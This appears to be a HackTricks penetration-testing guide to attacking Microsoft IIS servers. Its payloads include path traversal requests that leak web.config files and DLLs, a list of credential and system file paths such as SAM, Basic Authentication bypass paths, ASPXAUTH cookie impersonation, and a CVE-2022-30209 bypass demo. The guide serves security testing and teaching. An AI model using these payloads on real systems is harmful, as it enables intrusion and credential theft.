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https://github.com/carlospolop/hacktricks
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303 lines
15 KiB
Markdown
303 lines
15 KiB
Markdown
# IIS - Internet Information Services
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{% hint style="success" %}
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Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
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Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
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<details>
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<summary>Support HackTricks</summary>
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* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
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* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
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* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
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</details>
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{% endhint %}
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Test executable file extensions:
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* asp
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* aspx
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* config
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* php
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## Internal IP Address disclosure
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On any IIS server where you get a 302 you can try stripping the Host header and using HTTP/1.0 and inside the response the Location header could point you to the internal IP address:
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```
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nc -v domain.com 80
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openssl s_client -connect domain.com:443
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```
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Response disclosing the internal IP:
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```
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GET / HTTP/1.0
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HTTP/1.1 302 Moved Temporarily
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Cache-Control: no-cache
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Pragma: no-cache
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Location: https://192.168.5.237/owa/
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Server: Microsoft-IIS/10.0
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X-FEServer: NHEXCHANGE2016
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```
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## Execute .config files
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You can upload .config files and use them to execute code. One way to do it is appending the code at the end of the file inside an HTML comment: [Download example here](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Upload%20Insecure%20Files/Configuration%20IIS%20web.config/web.config)
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More information and techniques to exploit this vulnerability [here](https://soroush.secproject.com/blog/2014/07/upload-a-web-config-file-for-fun-profit/)
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## IIS Discovery Bruteforce
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Download the list that I have created:
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{% file src="../../.gitbook/assets/iisfinal.txt" %}
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It was created merging the contents of the following lists:
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[https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/IIS.fuzz.txt](https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/IIS.fuzz.txt)\
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[http://itdrafts.blogspot.com/2013/02/aspnetclient-folder-enumeration-and.html](http://itdrafts.blogspot.com/2013/02/aspnetclient-folder-enumeration-and.html)\
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[https://github.com/digination/dirbuster-ng/blob/master/wordlists/vulns/iis.txt](https://github.com/digination/dirbuster-ng/blob/master/wordlists/vulns/iis.txt)\
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[https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/aspx.txt](https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/aspx.txt)\
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[https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt](https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt)\
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[https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt](https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt)
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Use it without adding any extension, the files that need it have it already.
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## Path Traversal
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### Leaking source code
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Check the full writeup in: [https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html](https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html)
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{% hint style="info" %}
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As summary, there are several web.config files inside the folders of the application with references to "**assemblyIdentity**" files and "**namespaces**". With this information it's possible to know **where are executables located** and download them.\
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From the **downloaded Dlls** it's also possible to find **new namespaces** where you should try to access and get the web.config file in order to find new namespaces and assemblyIdentity.\
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Also, the files **connectionstrings.config** and **global.asax** may contain interesting information.\\
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{% endhint %}
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In **.Net MVC applications**, the **web.config** file plays a crucial role by specifying each binary file the application relies on through **"assemblyIdentity"** XML tags.
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### **Exploring Binary Files**
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An example of accessing the **web.config** file is shown below:
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```markup
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GET /download_page?id=..%2f..%2fweb.config HTTP/1.1
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Host: example-mvc-application.minded
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```
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This request reveals various settings and dependencies, such as:
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* **EntityFramework** version
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* **AppSettings** for webpages, client validation, and JavaScript
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* **System.web** configurations for authentication and runtime
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* **System.webServer** modules settings
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* **Runtime** assembly bindings for numerous libraries like **Microsoft.Owin**, **Newtonsoft.Json**, and **System.Web.Mvc**
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These settings indicate that certain files, such as **/bin/WebGrease.dll**, are located within the application's /bin folder.
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### **Root Directory Files**
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Files found in the root directory, like **/global.asax** and **/connectionstrings.config** (which contains sensitive passwords), are essential for the application's configuration and operation.
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### **Namespaces and Web.Config**
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MVC applications also define additional **web.config files** for specific namespaces to avoid repetitive declarations in each file, as demonstrated with a request to download another **web.config**:
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```markup
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GET /download_page?id=..%2f..%2fViews/web.config HTTP/1.1
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Host: example-mvc-application.minded
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```
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### **Downloading DLLs**
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The mention of a custom namespace hints at a DLL named "**WebApplication1**" present in the /bin directory. Following this, a request to download the **WebApplication1.dll** is shown:
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```markup
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GET /download_page?id=..%2f..%2fbin/WebApplication1.dll HTTP/1.1
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Host: example-mvc-application.minded
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```
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This suggests the presence of other essential DLLs, like **System.Web.Mvc.dll** and **System.Web.Optimization.dll**, in the /bin directory.
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In a scenario where a DLL imports a namespace called **WebApplication1.Areas.Minded**, an attacker might infer the existence of other web.config files in predictable paths, such as **/area-name/Views/**, containing specific configurations and references to other DLLs in the /bin folder. For example, a request to **/Minded/Views/web.config** can reveal configurations and namespaces that indicate the presence of another DLL, **WebApplication1.AdditionalFeatures.dll**.
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### Common files
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From [here](https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/)
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```
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C:\Apache\conf\httpd.conf
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C:\Apache\logs\access.log
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C:\Apache\logs\error.log
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C:\Apache2\conf\httpd.conf
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C:\Apache2\logs\access.log
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C:\Apache2\logs\error.log
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C:\Apache22\conf\httpd.conf
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C:\Apache22\logs\access.log
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C:\Apache22\logs\error.log
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C:\Apache24\conf\httpd.conf
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C:\Apache24\logs\access.log
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C:\Apache24\logs\error.log
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C:\Documents and Settings\Administrator\NTUser.dat
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C:\php\php.ini
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C:\php4\php.ini
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C:\php5\php.ini
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C:\php7\php.ini
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C:\Program Files (x86)\Apache Group\Apache\conf\httpd.conf
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C:\Program Files (x86)\Apache Group\Apache\logs\access.log
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C:\Program Files (x86)\Apache Group\Apache\logs\error.log
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C:\Program Files (x86)\Apache Group\Apache2\conf\httpd.conf
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C:\Program Files (x86)\Apache Group\Apache2\logs\access.log
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C:\Program Files (x86)\Apache Group\Apache2\logs\error.log
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c:\Program Files (x86)\php\php.ini"
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C:\Program Files\Apache Group\Apache\conf\httpd.conf
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C:\Program Files\Apache Group\Apache\conf\logs\access.log
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C:\Program Files\Apache Group\Apache\conf\logs\error.log
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C:\Program Files\Apache Group\Apache2\conf\httpd.conf
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C:\Program Files\Apache Group\Apache2\conf\logs\access.log
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C:\Program Files\Apache Group\Apache2\conf\logs\error.log
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C:\Program Files\FileZilla Server\FileZilla Server.xml
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C:\Program Files\MySQL\my.cnf
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C:\Program Files\MySQL\my.ini
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C:\Program Files\MySQL\MySQL Server 5.0\my.cnf
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C:\Program Files\MySQL\MySQL Server 5.0\my.ini
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C:\Program Files\MySQL\MySQL Server 5.1\my.cnf
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C:\Program Files\MySQL\MySQL Server 5.1\my.ini
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C:\Program Files\MySQL\MySQL Server 5.5\my.cnf
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C:\Program Files\MySQL\MySQL Server 5.5\my.ini
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C:\Program Files\MySQL\MySQL Server 5.6\my.cnf
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C:\Program Files\MySQL\MySQL Server 5.6\my.ini
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C:\Program Files\MySQL\MySQL Server 5.7\my.cnf
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C:\Program Files\MySQL\MySQL Server 5.7\my.ini
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C:\Program Files\php\php.ini
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C:\Users\Administrator\NTUser.dat
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C:\Windows\debug\NetSetup.LOG
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C:\Windows\Panther\Unattend\Unattended.xml
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C:\Windows\Panther\Unattended.xml
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C:\Windows\php.ini
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C:\Windows\repair\SAM
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C:\Windows\repair\system
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C:\Windows\System32\config\AppEvent.evt
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C:\Windows\System32\config\RegBack\SAM
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C:\Windows\System32\config\RegBack\system
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C:\Windows\System32\config\SAM
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C:\Windows\System32\config\SecEvent.evt
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C:\Windows\System32\config\SysEvent.evt
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C:\Windows\System32\config\SYSTEM
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C:\Windows\System32\drivers\etc\hosts
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C:\Windows\System32\winevt\Logs\Application.evtx
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C:\Windows\System32\winevt\Logs\Security.evtx
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C:\Windows\System32\winevt\Logs\System.evtx
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C:\Windows\win.ini
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C:\xampp\apache\conf\extra\httpd-xampp.conf
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C:\xampp\apache\conf\httpd.conf
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C:\xampp\apache\logs\access.log
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C:\xampp\apache\logs\error.log
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C:\xampp\FileZillaFTP\FileZilla Server.xml
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C:\xampp\MercuryMail\MERCURY.INI
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C:\xampp\mysql\bin\my.ini
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C:\xampp\php\php.ini
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C:\xampp\security\webdav.htpasswd
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C:\xampp\sendmail\sendmail.ini
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C:\xampp\tomcat\conf\server.xml
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```
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## HTTPAPI 2.0 404 Error
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If you see an error like the following one:
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 (1) (2) (2) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (10) (2).png>)
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It means that the server **didn't receive the correct domain name** inside the Host header.\
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In order to access the web page you could take a look to the served **SSL Certificate** and maybe you can find the domain/subdomain name in there. If it isn't there you may need to **brute force VHosts** until you find the correct one.
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## Old IIS vulnerabilities worth looking for
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### Microsoft IIS tilde character “\~” Vulnerability/Feature – Short File/Folder Name Disclosure
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You can try to **enumerate folders and files** inside every discovered folder (even if it's requiring Basic Authentication) using this **technique**.\
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The main limitation of this technique if the server is vulnerable is that **it can only find up to the first 6 letters of the name of each file/folder and the first 3 letters of the extension** of the files.
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You can use [https://github.com/irsdl/IIS-ShortName-Scanner](https://github.com/irsdl/IIS-ShortName-Scanner) to test for this vulnerability:`java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/`
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.png>)
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Original research: [https://soroush.secproject.com/downloadable/microsoft\_iis\_tilde\_character\_vulnerability\_feature.pdf](https://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf)
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You can also use **metasploit**: `use scanner/http/iis_shortname_scanner`
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A nice idea to **find the final name** of the discovered files is to **ask LLMs** for options like it's done in the script [https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer\_shortname.py](https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py)
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### Basic Authentication bypass
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**Bypass** a basic authentication (**IIS 7.5**) trying to access: `/admin:$i30:$INDEX_ALLOCATION/admin.php` or `/admin::$INDEX_ALLOCATION/admin.php`
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You can try to **mix** this **vulnerability** and the last one to find new **folders** and **bypass** the authentication.
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## ASP.NET Trace.AXD enabled debugging
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ASP.NET include a debugging mode and its file is called `trace.axd`.
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It keeps a very detailed log of all requests made to an application over a period of time.
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This information includes remote client IP's, session IDs, all request and response cookies, physical paths, source code information, and potentially even usernames and passwords.
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[https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/](https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/)
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## ASPXAUTH Cookie
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ASPXAUTH uses the following info:
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* **`validationKey`** (string): hex-encoded key to use for signature validation.
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* **`decryptionMethod`** (string): (default “AES”).
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* **`decryptionIV`** (string): hex-encoded initialization vector (defaults to a vector of zeros).
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* **`decryptionKey`** (string): hex-encoded key to use for decryption.
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However, some people will use the **default values** of these parameters and will use as **cookie the email of the user**. Therefore, if you can find a web using the **same platform** that is using the ASPXAUTH cookie and you **create a user with the email of the user you want to impersonate** on the server under attack, you may be able to us**e the cookie from the second server in the first one** and impersonate the user.\
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This attacked worked in this [**writeup**](https://infosecwriteups.com/how-i-hacked-facebook-part-two-ffab96d57b19).
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## IIS Authentication Bypass with cached passwords (CVE-2022-30209) <a href="#id-3-iis-authentication-bypass" id="id-3-iis-authentication-bypass"></a>
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[Full report here](https://blog.orange.tw/2022/08/lets-dance-in-the-cache-destabilizing-hash-table-on-microsoft-iis.html): A bug in the code **didn't properly check for the password given by the user**, so an attacker whose **password hash hits a key** that is already in the **cache** will be able to login as that user .
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```python
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# script for sanity check
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> type test.py
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def HashString(password):
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j = 0
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for c in map(ord, password):
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j = c + (101*j)&0xffffffff
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return j
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assert HashString('test-for-CVE-2022-30209-auth-bypass') == HashString('ZeeiJT')
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# before the successful login
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> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
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HTTP/1.1 401 Unauthorized
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# after the successful login
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> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
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HTTP/1.1 200 OK
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```
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{% hint style="success" %}
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||
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
||
<details>
|
||
|
||
<summary>Support HackTricks</summary>
|
||
|
||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
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||
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</details>
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{% endhint %}
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